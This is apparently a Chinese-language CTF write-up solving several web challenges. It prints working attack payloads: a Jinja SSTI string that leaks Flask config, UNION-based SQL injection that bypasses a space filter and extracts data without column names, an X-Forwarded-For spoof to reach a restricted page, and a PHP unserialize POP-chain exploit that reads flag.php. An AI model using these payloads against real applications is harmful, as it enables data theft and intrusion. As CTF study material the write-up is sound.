查看源码
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/' )
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
app.config[‘FLAG’] = os.environ.pop(‘FLAG’)注册了一个名为FLAG的config
利用ssti模板注入查看flag,先测试一下{{3+3}}
可行,但是config被过滤了,否则{{config}}就可以看到所有app.config内容
我们可以用url_for()函数,这个url_for()函数是用于构建指定函数的URL,而且url_for操作对象是函数,而不是route里的路径,再配合globals 函数返回一个全局变量的字典。
/shrine/{{url_for.__globals__}}
current就是指当前的app,这样我们只需要查看到这个的config就可以看到flag了,那么构造payload
/shrine/{{url_for.__globals__['current_app'].config}}
拿来吧你
随便注册个登录,只有广告位一个功能,单引号试试呗
注入是吧,来!注!
经过测试发现过滤了空格,or,–+,#,order,and等
先判断字段数,手动尝试n+1次后发现是22列
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
发现回显位是二三位
查表
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
新姿势:Maria数据库的这个表可以查表名:mysql.innodb_table_stats
设第二列别名为b
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select*from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
再看看第三列
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
总结:这道题考察的主要是无列名注入和二次注入,在不知道列名的情况下我们先让列名改名然后再单独给某一列起别名的方式来查看这列数据的内容
要我买flag
做梦
拉到最下面有个输入框
可以找到校验函数
md5解一解
。。。。
这钱不花不行了是吧
直接访问./flag.php呢
“ 除 了 购 买 者 和 我 自 己 ”
试试X-Forwarded-For: 127.0.0.1
拿来吧你
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."
";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
上来就审
反序列化的题,很明显,需要include文件flag.php并且用伪协议读取,第一个类里还有一个魔术方法__invoke(),以调用函数的方式调用一个对象时的回应方法
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
这里有一个include函数,题目中说flag在flag.php里,那就要想办法包含flag.php这个文件,想要包含的话就需要让var的值为flag.php再调用__invoke方法,这个是pop链最后的部分,而我们需要接着找到怎么函数调用invoke。
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
在Test类中的__get方法中刚好会把属性p当作函数调用,所以需要触发魔术方法get,而get方法会在访问类中一个不存在的属性时自动调用,所以需要寻找访问属性的代码。
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."
";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
魔术方法__toString中会返回属性str中的属性source,如果属性source不存在那么就满足了刚才的条件。那么怎么调用toString呢?魔术方法toString会在类被当作一个字符串时调用,比如直接print或者echo一个类。而wakeup中的preg_match函数中传参了source,这个函数中source就会被当作字符串处理,但是source只是一个属性,而toString只有在类被当作字符串时调用(注意这里一个是属性一个是类),所以我们给source赋值一个类不就行了嘛。preg_match中过滤了一些函数,但是并不影响我们用php伪协议(直接访问flag.php并没有flag,说明flag应该是以php代码形式编写在后端的)。调用wakeup方法只需要反序列化。
所以整个利用链就是
反序列化show类->调用wakeup魔术方法,以字符串形式处理属性source->将source赋值一个new的类->调用toString方法,其中$this->str->source不存在->这个类中的str复制new的Test类,这样才能和Test类联系起来从而触发get方法->用p把Modifier类当作函数调用,触发invoke->包含flag.php并用php伪协议读取。
exp:
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
class Test{
public $p;
}
$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>
get传参pop提交